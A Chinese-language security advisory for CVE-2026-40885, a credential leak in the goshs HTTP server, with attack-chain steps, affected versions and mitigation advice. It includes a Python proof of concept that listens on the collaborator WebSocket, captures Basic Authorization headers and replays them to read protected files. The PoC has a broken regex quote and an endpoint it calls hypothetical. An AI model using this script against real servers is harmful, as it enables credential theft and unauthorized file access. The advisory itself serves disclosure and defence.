IPBUF安全漏洞报告
English
CVE-2026-40885 CVSS 8.8 高危

CVE-2026-40885 goshs凭证泄露漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40885
漏洞类型
信息泄露
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
goshs

相关标签

信息泄露凭证窃取goshsWebSocketAccess Control

漏洞概述

goshs是一款Go语言编写的HTTP服务器,其在2.0.0-beta.4至2.0.0-beta.5版本中存在高危信息泄露漏洞。当服务器未配置全局Basic认证时,针对受保护.goshs-protected文件夹的请求会在授权验证前被记录,并通过公开的协作者WebSocket广播原始请求头。这导致未经身份验证的攻击者能够窃取包含在头中的Authorization凭证,并利用该凭证重放请求,从而对受保护子树内的文件进行读取、上传、覆盖及删除操作。

技术细节

该漏洞源于goshs在处理请求验证与日志记录时的逻辑顺序缺陷。在受影响版本中,当用户尝试访问受.goshs-protected保护的文件夹时,服务器组件会在强制执行授权检查之前,将请求详情记录在日志中。随后,协作者WebSocket连接会将这些请求的原始HTTP头信息广播给所有订阅者。关键的缺陷在于,广播内容包含了用于文件夹特定访问控制的Authorization头。由于服务器未配置全局Basic认证,任何能够连接到协作者频道的未授权观察者都可以监听并截获这些敏感凭证。攻击者利用截获的Basic Auth凭证,可以构造恶意请求重放该凭证,从而成功绕过文件夹级别的访问控制机制。这使得攻击者能够在受保护的子树内进行未授权的文件读取、上传、覆盖及删除操作,对系统的机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1
侦察与监听
攻击者连接到目标goshs服务器的公开协作者WebSocket频道。
STEP 2
凭证截获
等待合法用户访问受.goshs-protected保护的文件夹,服务器在授权前广播包含Authorization头的请求信息,攻击者截获该Basic Auth凭证。
STEP 3
重放攻击
攻击者使用截获的Authorization头构造HTTP请求,发送给受保护的文件夹路径。
STEP 4
未授权访问
服务器验证凭证有效,允许攻击者读取、上传、修改或删除受保护子树内的敏感文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import requests import re TARGET_URL = "http://target-server:port" WS_URL = "ws://target-server:port/.goshs/ws" # Hypothetical WebSocket endpoint PROTECTED_PATH = "/.goshs-protected/secret.txt" async def steal_credentials(): """Connect to the collaborator websocket to capture Authorization headers.""" async with websockets.connect(WS_URL) as websocket: print("[+] Listening for requests on collaborator channel...") while True: try: message = await websocket.recv() print(f"[+] Received packet: {message[:100]}...") # Extract Basic Auth token (e.g., "Basic base64string") match = re.search(r"Authorization: (Basic [^"]+)", message) if match: print(f"[!] Credentials captured: {match.group(1)}") return match.group(1) except Exception as e: print(f"[-] Error: {e}") break return None def exploit_poc(auth_header): """Replay the captured credentials to access protected files.""" headers = { "Authorization": auth_header } full_url = f"{TARGET_URL}{PROTECTED_PATH}" print(f"[*] Attempting to access {full_url} with stolen credentials...") response = requests.get(full_url, headers=headers) if response.status_code == 200: print(f"[!] SUCCESS: Access granted.") print(f"[!] File Content: {response.text}") else: print(f"[-] Failed: Status code {response.status_code}") if __name__ == "__main__": # Run the exploit chain creds = asyncio.get_event_loop().run_until_complete(steal_credentials()) if creds: exploit_poc(creds)

影响范围

goshs 2.0.0-beta.4
goshs 2.0.0-beta.5

防御指南

临时缓解措施
建议立即将goshs升级到2.0.0-beta.6版本以彻底修复此漏洞。如果无法立即升级,应务必启用全局Basic认证,以防止未授权用户访问协作者订阅源,从而阻断凭证泄露途径。此外,限制对WebSocket端点的网络访问也是一种有效的临时缓解手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表